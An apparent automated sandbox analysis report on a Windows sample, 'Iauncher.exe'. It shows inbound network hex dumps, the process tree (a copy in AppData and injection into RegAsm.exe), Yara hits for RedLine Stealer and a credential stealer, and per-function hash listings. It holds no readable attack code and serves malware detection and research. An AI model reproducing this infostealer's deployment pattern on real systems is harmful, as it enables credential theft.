2024-05-01 18:35:50 UTC	1369	IN	Data Raw: b5 4b 9a 48 ef ce c2 61 0a 3d 23 ff c6 5c ab f8 48 38 62 fe 9b a9 b9 96 47 dd 65 59 12 e6 f3 18 e6 0b 13 f9 8f d6 69 80 84 65 87 bc 74 13 aa a1 9e 43 d0 47 a0 e3 20 e3 fe f5 49 d4 4b 0f d1 7b 6c d8 53 86 48 bb 91 91 f3 ed 1a fa ca d5 f1 de 71 98 2c e6 01 29 41 69 b5 d1 72 ec 65 1b 78 4e b2 82 16 b7 9a a7 f7 5f 6d 88 66 3d 79 10 81 d5 de 60 03 2a ed 87 3c a4 31 fa 6a 90 cf 08 c4 eb ab ed f4 65 7c e9 48 7d 16 62 40 90 1b 03 f9 a5 12 53 c0 a4 db b0 7d fd 3e 3a d9 81 19 cf e6 aa 30 dd 6c da 82 e0 4e 5d dd 30 3b 7f 83 03 83 1c 74 0d 06 a9 1b 1c f9 1b b2 30 20 8b d6 19 01 59 f9 1b ec 18 60 a7 95 46 80 3d 7f 83 d5 28 7d a1 11 60 cd df c0 63 00 4f 9d 46 00 4f 76 d5 d6 f4 5c 8e ea f1 18 62 62 63 4f 88 8f bd 9b 84 b0 56 c8 77 98 b0 cf 78 e9 e5 01 b4 37 91 6b 90 00 Data Ascii: KHa=#\H8bGeYietCG IK{lSHq,)AirexN_mf=y`*<1je\|H}b@S}>:0lN]0;t0 Y`F=(}`cOFOv\bbcOVwx7k
2024-05-01 18:35:50 UTC	1369	IN	Data Raw: 57 09 c4 8d b1 18 83 2c 8a 0d d5 a4 b6 5f 6c 7a 16 9b de 94 53 f8 ac 80 cf 99 85 c8 49 b5 72 53 45 cb f4 c6 13 8b 24 be f9 ac 48 7a bb e9 9a ba 0e f3 15 73 95 36 33 e9 dc 74 90 03 36 b8 0c 5a 92 c7 d6 dd 72 57 64 32 bc 0b d0 17 52 5a 4a 4c 91 31 a1 6e 4b ff 1e 47 b6 75 69 b3 19 da b5 bd c8 04 12 45 9f 5e c8 1b e4 29 d0 3c 7d 15 3e bf 97 7c 40 1f cc 62 4a f1 bd d0 e9 b7 7b 9f 81 7f f4 df 59 c8 51 02 e9 55 da bd 99 a4 ef e8 33 cc d6 ce 73 9b 7a d1 c6 18 b7 ec 36 39 9a e0 ab a2 12 28 f0 01 bd ef 4f 68 45 d5 a0 4a 5e fa 07 4c 0d 89 21 cf f5 8e fa a3 cf 38 f5 37 90 c3 34 be c6 cc 5d 9c 7a af a0 de 0b 7a b7 5d b6 00 53 37 92 48 59 cc 3e e7 f6 82 88 f3 c8 17 d0 12 0b 30 62 ad d7 5f bf 1d 7b d3 eb 2c c8 a6 19 45 42 e8 4e 0c fd c3 17 a8 c1 cf 52 17 d8 e3 59 4b e7 Data Ascii: W,_lzSIrSE$Hzs63t6ZrWd2RZJL1nKGuiE^)<}>\|@bJ{YQU3sz69(OhEJ^L!874]zz]S7HY>0b_{,EBNRYK
2024-05-01 18:35:50 UTC	1369	IN	Data Raw: ed a2 c6 9f a5 96 d8 48 c7 6a 33 49 f3 69 73 05 50 e3 ac 15 5e 1f bd 62 69 6c 07 c9 39 1c e9 a8 89 4c 84 a1 d0 ee 81 a9 77 37 ae bb 57 d0 a9 54 d7 6b 97 55 1b f2 36 64 6d 3d 35 eb 8b be 91 35 26 83 ec 7d f4 35 ee d4 8c 31 a2 dd 03 b3 df 6e 28 a2 82 ce f9 2c 29 63 e2 11 60 dc 2a dd 53 d4 42 2b b9 c6 e6 9b d9 29 2d 6c 6c b0 72 f2 82 fe 56 5e 4a 7b 23 1b e5 4e 5b 7f ab f9 8d 3c 78 db e6 85 1f 71 61 9f e6 89 06 4c 5e 9a c9 cc c7 5e 1f 0e d2 7f f7 42 77 c8 63 dd e1 90 37 32 a6 06 15 05 b6 e8 9f 53 15 23 ac 8f f4 c5 6c 5f b9 ca 3a bb 48 f6 c2 db 78 7d 85 cd a7 df 6d 5b 42 5f f9 8c 2d 4e 60 07 44 3d 26 fe 47 37 97 1b 6b 0e 50 21 5c e6 43 ca 27 e2 a4 53 e3 04 6c 33 66 53 c9 f9 18 fb 49 4c 8e 01 de 26 c0 38 29 e5 e1 bb 0e 46 7a 18 ca 63 7b 8a 32 3e d7 75 04 c0 22 Data Ascii: Hj3IisP^bil9Lw7WTkU6dm=55&}51n(,)c`*SB+)-llrV^J{#N[<xqaL^^Bwc72S#l_:Hx}m[B_-N`D=&G7kP!\C'Sl3fSIL&8)Fzc{2>u"
2024-05-01 18:35:50 UTC	1369	IN	Data Raw: 90 64 7d 6e 5e 50 17 9b 1e 86 86 04 39 b0 9b 5e f9 2f 5d 6f 6c 38 c4 49 6b 95 e5 94 63 6a 58 1a 08 9e de b9 ce 7d 01 be 56 89 ea e2 c2 f7 d5 4a 1a 5f 52 ea 4d 5e 52 aa 4d ef 48 2c 29 0d a6 47 fd 64 07 ad 82 8e b8 6d f9 d5 b1 25 25 00 21 50 70 25 4d 68 6e b1 25 a5 68 fa 3a 6b fa 71 3f bd e8 6b d4 0f bb 69 c3 21 a8 72 3b 3d 7b 26 37 a2 c0 91 4a a1 02 65 e8 eb 6c ae 1d 2b 6f 40 51 ba da ca 44 e9 b9 20 4a a7 9d 22 4a e7 ec d0 e6 7a 0b 35 be a6 dc e7 a5 f7 7f 8d 7b b9 65 9b 8f de 69 36 14 78 10 aa 51 a2 8b 49 eb 4b 98 b8 fe fa 3f 0c a9 da ca d1 e7 8f c6 94 05 6c 3c 55 e8 70 f3 5c b7 b1 dc a0 34 58 4d f2 78 52 26 04 26 d5 4b a8 8b 5c f5 4f 5d 8f 4c 00 aa d3 4a 1e 77 a9 e3 76 8d af 41 ac 01 b1 1c 05 f4 6d f5 b1 75 8a 72 52 6e 73 95 db 57 4d 43 c9 59 2b 32 a9 85 Data Ascii: d}n^P9^/]ol8IkcjX}VJ_RM^RMH,)Gdm%%!Pp%Mhn%h:kq?ki!r;={&7Jel+o@QD J"Jz5{ei6xQIK?l<Up\4XMxR&&K\O]LJwvAmurRnsWMCY+2
2024-05-01 18:35:50 UTC	1369	IN	Data Raw: 8e 94 03 a2 c1 f7 ec e1 35 b5 31 2c d8 be 94 07 8f c3 d8 c4 fc e8 9f 90 b1 9f 87 af 48 96 21 ba e3 38 22 84 5d 97 ee c4 ed dd d5 42 c0 5c 8f cb 1d aa 85 3e 52 07 8f 05 3c d6 5e 3a 07 b4 cf 07 10 e0 5e fe 65 3c 5c 40 fa 3a 16 08 38 36 71 a9 32 62 a5 b7 41 9c 72 8b 80 f0 f4 59 84 03 89 7d 81 15 12 8e f5 d2 c2 5f e2 de a6 05 56 ec d3 8c d7 b2 65 e2 fe c0 6c c8 f3 2f 0b 58 87 a7 d7 e1 38 48 a3 8f e0 a3 84 a7 cb 31 8b 52 c1 19 0a 76 89 8f 84 d4 12 01 26 a1 39 15 34 85 ed 40 77 86 ea f2 f9 55 0d 99 e4 3d d2 de fa b9 45 e9 4e 13 5f 5a 74 95 55 7c be d5 19 6a 86 97 62 d0 ea 01 b5 f5 1f 2c c3 1d 69 06 1d 88 c7 0e c3 c1 e7 ec cf 5f 21 48 93 ea 88 c7 fa 8a 8e 66 59 57 db 9a 9c 66 93 33 e4 8e cc d1 2a 87 a0 f7 2f f1 c1 34 59 1e 30 69 65 56 60 c2 b9 fa 24 c1 0d bc 20 Data Ascii: 51,H!8"]B\>R<^:^e<\@:86q2bArY}_Vel/X8H1Rv&94@wU=EN_ZtU\|jb,i_!HfYWf3*/4Y0ieV`$
2024-05-01 18:35:50 UTC	1369	IN	Data Raw: cd b9 3e fa c5 f8 ff 4d 35 b6 db 46 aa 01 e5 3d 39 fe db ab 01 fc 5e 19 14 57 17 35 ce f3 be 0a 22 8f 94 0f 33 b4 1d 64 3d db 02 94 41 8a 2d 03 96 7f 6a 25 82 a5 55 e9 8e 92 3d a4 d3 d5 07 7a 7d 9f eb 1f 6b cc e4 ad 72 dc e5 fa 13 66 71 b1 d5 d6 18 92 8b d2 3b 2b d9 1c 0c 43 4d b9 17 74 fd 1b 1a ef 9d cf 49 d7 13 cb 9b c8 29 fd 64 85 35 c1 b8 de d2 df ab 73 45 a5 95 e4 de 3c 94 85 b3 35 cf 7e dc a3 48 76 79 71 ab b3 b6 c0 ed 1d e1 70 ce ae 9c 56 69 3a 0a 03 67 a3 30 20 cf 6b fe c1 fc 2d 26 e0 ee b5 35 ce b7 97 d1 36 1b 6e 33 80 30 22 ef 87 c4 39 7d d2 44 7d d5 22 1f 2e 84 fe e4 19 86 a6 ab 4f 1e 83 a8 80 c8 14 e9 9c 13 8a 6c 47 be c8 6c ef 68 77 5a 63 23 ed 39 61 e0 91 2e 8f 75 a5 05 78 05 ae e0 42 7d 45 cd 7e 56 4e 1f d9 65 69 cb 79 ab b0 dc bb 84 3e 31 Data Ascii: >M5F=9^W5"3d=A-j%U=z}krfq;+CMtI)d5sE<5~HvyqpVi:g0 k-&56n30"9}D}".OlGlhwZc#9a.uxB}E~VNeiy>1
2024-05-01 18:35:50 UTC	1369	IN	Data Raw: 80 ed 6f 2f 99 6f ca f7 ec 14 9b 6e d2 19 d5 7b 96 c1 93 e9 32 31 6b d7 29 04 42 fe 84 24 39 1f b8 53 be b0 6a 3a 10 4c 4a ad cb bf 7b 18 98 40 c9 6c 9f 0e 7a 76 96 c2 0d d3 f5 c3 48 41 0f 23 4c 01 02 5d a9 6c cc e3 e4 69 80 87 e6 19 86 2a 0f 7b 29 17 c7 37 a5 0e 74 e4 b3 20 a5 76 5d 41 be 20 59 eb d4 cb 80 96 ef 82 10 1d f9 77 1d 9e 5b 5f 16 37 d3 c6 18 a7 3f 4b 2b 29 c8 37 cb 53 95 06 bb 49 b6 b3 ac c7 21 93 a8 b6 29 ed c3 ca 3b 3a 6e 3e b0 41 00 2b bf 8e fe 65 40 d7 a1 9c 6a d2 9e 1e 96 53 31 91 64 d7 65 7b 85 0f d0 a1 6d bf 62 24 81 06 9b 87 2c 0b 83 e6 ff 22 66 84 ca 01 3c 2e 38 6e f4 c6 35 6e b2 71 21 29 8b 92 ca 21 e5 26 81 53 6e b2 72 6c 33 9f ba c2 a6 ae b5 47 a6 a2 6d 4a d0 95 52 5e 8f 47 2b 37 d9 e0 cf ce b1 0a d8 b1 02 23 30 ce 2e b5 54 50 4b Data Ascii: o/on{21k)B$9Sj:LJ{@lzvHA#L]li*{)7t v]A Yw[_7?K+)7SI!);:n>A+e@jS1de{mb$,"f<.8n5nq!)!&Snrl3GmJR^G+7#0.TPK

Target ID:	0
Start time:	20:35:40
Start date:	01/05/2024
Path:	C:\Users\user\Desktop\Iauncher.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Iauncher.exe"
Imagebase:	0x590000
File size:	732'672 bytes
MD5 hash:	E69FEB7FD40F408A088D879BE323F37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000000.1184729227.0000000000592000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 00000000.00000002.3683105347.0000000005C10000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.3676644672.0000000002A11000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	20:35:50
Start date:	01/05/2024
Path:	C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe"
Imagebase:	0x560000
File size:	505'344 bytes
MD5 hash:	D79977A15EB010C637CF9078B4EB82C8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	20:35:50
Start date:	01/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	20:35:50
Start date:	01/05/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x20000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000D.00000002.1431945457.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	12.1%
Dynamic/Decrypted Code Coverage:	87%
Signature Coverage:	8%
Total number of Nodes:	300
Total number of Limit Nodes:	34

Executed Functions

Function 05DD009F Relevance: 9.5, Strings: 2, Instructions: 6991
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

'Aq, xrefs: 05DD00EE
$Aq, xrefs: 05DD0131

Memory Dump Source

Source File: 00000000.00000002.3684462828.0000000005DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Iauncher.jbxd

Similarity

API ID:
String ID: 'Aq$$Aq
API String ID: 0-3116551248
Opcode ID: 05a283c120ab1e941c7987f2dfbdc661f42e2346b2bb5a97085f4b61c3089a72
Instruction ID: 177abbd00fb1a543ff8fb609a706247fa7a415d56be59c823621d688da39ab2a
Opcode Fuzzy Hash: 05a283c120ab1e941c7987f2dfbdc661f42e2346b2bb5a97085f4b61c3089a72
Instruction Fuzzy Hash: 84047078905229CFCB25DF64D888AD9B7B1FF49305F1485EAE909A7361DB31AE81CF40

Uniqueness

Uniqueness Score: -1.00%

Function 09CA9C54 Relevance: 9.0, Strings: 6, Instructions: 1463
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

d, xrefs: 09CAB3F4
d, xrefs: 09CAB375
d, xrefs: 09CAB364
d, xrefs: 09CAB517
d, xrefs: 09CAB48E
d, xrefs: 09CAB2DA

Memory Dump Source

Source File: 00000000.00000002.3687267930.0000000009CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ca0000_Iauncher.jbxd

Similarity

API ID:
String ID: d$d$d$d$d$d
API String ID: 0-3846220497
Opcode ID: 7fb12373f329d5528b1197b57577b39ffea3f37e970ae274741d20f62c7e2da3
Instruction ID: 505454eb53f8dc7560361079d1a07edb6a0b6264415de5a9fe3503ce0ea1c545
Opcode Fuzzy Hash: 7fb12373f329d5528b1197b57577b39ffea3f37e970ae274741d20f62c7e2da3
Instruction Fuzzy Hash: 76E2D335900A299FCB22DF64CC54BDABBB2FF4A305F0591E5E509AB261DB319E95CF00

Uniqueness

Uniqueness Score: -1.00%

Function 05DBA520 Relevance: 6.9, Strings: 5, Instructions: 622
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hq, xrefs: 05DBB45B
Hq, xrefs: 05DBB39D
Hq, xrefs: 05DBB28C
Hq, xrefs: 05DBB1F9
Hq, xrefs: 05DBB313

Memory Dump Source

Source File: 00000000.00000002.3684315895.0000000005DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5db0000_Iauncher.jbxd

Similarity

API ID:
String ID: Hq$Hq$Hq$Hq$Hq
API String ID: 0-3799487529
Opcode ID: c7f553cdb7ef919d2ee9618bcc6d8eeaa189a41ebf2cb60bcf02728004752cee
Instruction ID: 737f3291b55811f933b89279f8538ab5d432d9539ef9d0f501db5da8f357927d
Opcode Fuzzy Hash: c7f553cdb7ef919d2ee9618bcc6d8eeaa189a41ebf2cb60bcf02728004752cee
Instruction Fuzzy Hash: 3C325F70A00218CFEB54DF68C9917AEBBF3FF88300F14816AD44AAB255DB749D45CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 09CA0040 Relevance: 2.7, Instructions: 2744COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3687267930.0000000009CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ca0000_Iauncher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b53c704869a10c09617f400d5c125f022e5773f9c47114b3920caf55d241ece9
Instruction ID: afbf44a6800679adc18ae38d7201132353cb2916ce0d3e7098f3deeab722d320
Opcode Fuzzy Hash: b53c704869a10c09617f400d5c125f022e5773f9c47114b3920caf55d241ece9
Instruction Fuzzy Hash: AA53BB75E016298FCB21DF24C994B99B7B2BF8A305F0091EAD50DB7260EB716E85CF41

Uniqueness

Uniqueness Score: -1.00%

Function 09CA0021 Relevance: 2.0, Instructions: 1954COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3687267930.0000000009CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ca0000_Iauncher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5cc776801635e3d8171ada83d88242441ef9edcffbe64a30b3586e8d6f9f0b2
Instruction ID: 0612db606e613854cb3311f87cdcd32e93865a88bf458ea15a99187eb4ee2620
Opcode Fuzzy Hash: f5cc776801635e3d8171ada83d88242441ef9edcffbe64a30b3586e8d6f9f0b2
Instruction Fuzzy Hash: AA23CE75A006298FCB21EF24DD54B99B7B2FF8A301F0091EAD54DA7260EB716E85CF41

Uniqueness

Uniqueness Score: -1.00%

Function 075EF478 Relevance: 1.9, APIs: 1, Instructions: 396COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3685325691.00000000075E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_75e0000_Iauncher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5048bc7bbde0ad80d76d0a723ff237546664a5cde5d9ea5a9d931d09a257165d
Instruction ID: 3a59e15c4ed19bacba5ffa3a72344d34dc0d2b5357fc31f8040e98f39fc65cce
Opcode Fuzzy Hash: 5048bc7bbde0ad80d76d0a723ff237546664a5cde5d9ea5a9d931d09a257165d
Instruction Fuzzy Hash: 53F16FB0A0030ADFDB58DFA9C844B9DBBF5FF48304F158559E409AF2A5DB70A945CB90

Uniqueness

Uniqueness Score: -1.00%

Function 09CA9CFC Relevance: .9, Instructions: 928COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3687267930.0000000009CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ca0000_Iauncher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f86d4344f37197f4617fff85ae1545c1854cce42ffe09f0c94912b80912a5646
Instruction ID: f94d9789d24d34838eb1214a98ea6b23a68d0857114e62873d09aa84cbdf7922
Opcode Fuzzy Hash: f86d4344f37197f4617fff85ae1545c1854cce42ffe09f0c94912b80912a5646
Instruction Fuzzy Hash: 9E92E035D006299FCB26EF64C844BD9BBB6BF4A304F0191E9E50D6B261DB71AB84DF40

Uniqueness

Uniqueness Score: -1.00%

Function 09CA7A88 Relevance: .9, Instructions: 866COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3687267930.0000000009CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ca0000_Iauncher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4507ab3ece86d1acd183f9ac44e094dec026f2a5e0bf0cb06c8524e67d138975
Instruction ID: a86234d937f266ec0c530579adab56398b35ba91001de8788c1531b2d00cb7f2
Opcode Fuzzy Hash: 4507ab3ece86d1acd183f9ac44e094dec026f2a5e0bf0cb06c8524e67d138975
Instruction Fuzzy Hash: E292D235D006699FCB21EF64C898A9DBBB6FF49300F0092EAE50967261DB319ED5CF44

Uniqueness

Uniqueness Score: -1.00%

Function 09CAB081 Relevance: .8, Instructions: 844COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3687267930.0000000009CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ca0000_Iauncher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 828c3ef46c6a3057260ba180a8f9a8983d8a276a076917e616247332ab97ecbc
Instruction ID: 19dcc6b64ce610de3e1c2e65744b7f3e68eefca769cac23af3633cbd947806a1
Opcode Fuzzy Hash: 828c3ef46c6a3057260ba180a8f9a8983d8a276a076917e616247332ab97ecbc
Instruction Fuzzy Hash: E582E235D00A298FCB22DF64CC54BDABBB2EF4A305F0591E5E508AB261DB719E95CF40

Uniqueness

Uniqueness Score: -1.00%

Function 09BFE858 Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3687143886.0000000009BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9bf0000_Iauncher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ff5c1ac6e0d0cf2a7d6ab278d9ce80cd99e112a1e681ae266ef54f3a82c7d3f
Instruction ID: 5141569cd27910889d6e7d586646323bed84056741eafbe7bb221f6c31b78d36
Opcode Fuzzy Hash: 6ff5c1ac6e0d0cf2a7d6ab278d9ce80cd99e112a1e681ae266ef54f3a82c7d3f
Instruction Fuzzy Hash: 32120674E04129CBDB24DFA5C9A4BADBBB1FB49310F1094E6E60AA73A1D730D985CF50

Uniqueness

Uniqueness Score: -1.00%

Function 09BF8F3F Relevance: .5, Instructions: 480COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3687143886.0000000009BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9bf0000_Iauncher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f01c4e1c549df7a5999de92390a64d6f617f860d6d6654f5d75725b15731c4da
Instruction ID: 78480ea06f8db5f1cc40ac45e80adad2331df4c5ceb2a624d572f744b7746740
Opcode Fuzzy Hash: f01c4e1c549df7a5999de92390a64d6f617f860d6d6654f5d75725b15731c4da
Instruction Fuzzy Hash: 08220735D00219DFDF11EFA4D854AEDBBB1FF59300F1196AAE509AB260EB309A95CF40

Uniqueness

Uniqueness Score: -1.00%

Function 09CADC49 Relevance: .4, Instructions: 442COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3687267930.0000000009CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ca0000_Iauncher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2294bca0a8d663f1d98f1ef8286cc4f97153f1cf601ecd1f305afe5bb47886e
Instruction ID: 0dd990c689da15dd21c263c3c81922e37964631e9a0f86e5031190a407431f5c
Opcode Fuzzy Hash: d2294bca0a8d663f1d98f1ef8286cc4f97153f1cf601ecd1f305afe5bb47886e
Instruction Fuzzy Hash: 6D121335D012299FDB26DF64C848BD9BBB6BF4A304F0191E5E50DAB261DB31AB84DF40

Uniqueness

Uniqueness Score: -1.00%

Function 09BF7BA0 Relevance: .3, Instructions: 298COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3687143886.0000000009BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9bf0000_Iauncher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 447a7ebc703d8aaecbec5fb545de6bfb5a58da8632750cfecc0de29342800e6b
Instruction ID: 82aab4f2bc61559db06b0cca15c06d6acd63d7aa076496becc4314a35b68a50c
Opcode Fuzzy Hash: 447a7ebc703d8aaecbec5fb545de6bfb5a58da8632750cfecc0de29342800e6b
Instruction Fuzzy Hash: ACE1D635910229DFDB11DF68C848F99BBB5FF4A300F0185EAE54DA7261EB309A94CF51

Uniqueness

Uniqueness Score: -1.00%

Function 05DBAC28 Relevance: .3, Instructions: 280COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3684315895.0000000005DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5db0000_Iauncher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d451335a90479403537f811d8cde77e9babf3608ce966fcd8a4c7139efee052
Instruction ID: 14a88837d60b1e87cd52985b11e940360120bbd04836176555a85f276fb932a0
Opcode Fuzzy Hash: 7d451335a90479403537f811d8cde77e9babf3608ce966fcd8a4c7139efee052
Instruction Fuzzy Hash: 7AC12871A00218DFEB15DF65C880BDDBBF2FF89300F1485AAD44AAB255EB74D985CB90

Uniqueness

Uniqueness Score: -1.00%

Function 09BF2550 Relevance: .2, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3687143886.0000000009BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9bf0000_Iauncher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 227a614c218af7bcbbfc2e26476c1e26c7ba52fc854bad6de52b5e143c1652b4
Instruction ID: c3dde026cbe4355060bb327138b85d981138795d5755865141d19d3df391544c
Opcode Fuzzy Hash: 227a614c218af7bcbbfc2e26476c1e26c7ba52fc854bad6de52b5e143c1652b4
Instruction Fuzzy Hash: 6D811374E012498FDB04DFE8D858AEEBBB1EF49311F10916AE511BB394DB349989CF50

Uniqueness

Uniqueness Score: -1.00%

Function 09BF00E8 Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3687143886.0000000009BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9bf0000_Iauncher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bcc7ff74cb89e97304d4cc3da2b212989d71f44b510378d5bf4bc924151f975
Instruction ID: 9937cdaa2110b6e8c557b9d8276013e09a8f188fc2e9ed53deb70fed9457fa39
Opcode Fuzzy Hash: 6bcc7ff74cb89e97304d4cc3da2b212989d71f44b510378d5bf4bc924151f975
Instruction Fuzzy Hash: 0F513634E08218DFEB14CFA9D4587FEBAF1EF46315F0458A9E505A7290C7788A89CF64

Uniqueness

Uniqueness Score: -1.00%

Function 09CADAF0 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3687267930.0000000009CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ca0000_Iauncher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98892c5c4ea9e4f92849caaf812aef0e2bb721eb5f4001a78b8fd4191154b55c
Instruction ID: 8f427fd85373f31ef17f4379bcb70a4828638f6b8e5385b6dfe440915b02141e
Opcode Fuzzy Hash: 98892c5c4ea9e4f92849caaf812aef0e2bb721eb5f4001a78b8fd4191154b55c
Instruction Fuzzy Hash: 2241C275E002188BDF04EFE5D994AEDFBB2BF8A314F10A02AD506BB2A4DB345945CB14

Uniqueness

Uniqueness Score: -1.00%

Function 0101F840 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0101F8BE
GetCurrentThread.KERNEL32 ref: 0101F8FB
GetCurrentProcess.KERNEL32 ref: 0101F938
GetCurrentThreadId.KERNEL32 ref: 0101F991

Memory Dump Source

Source File: 00000000.00000002.3676074296.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1010000_Iauncher.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: a87a6d444550eb153e9e0d0582f07509e1dbc25deedebb6b2415b53ef390c40e
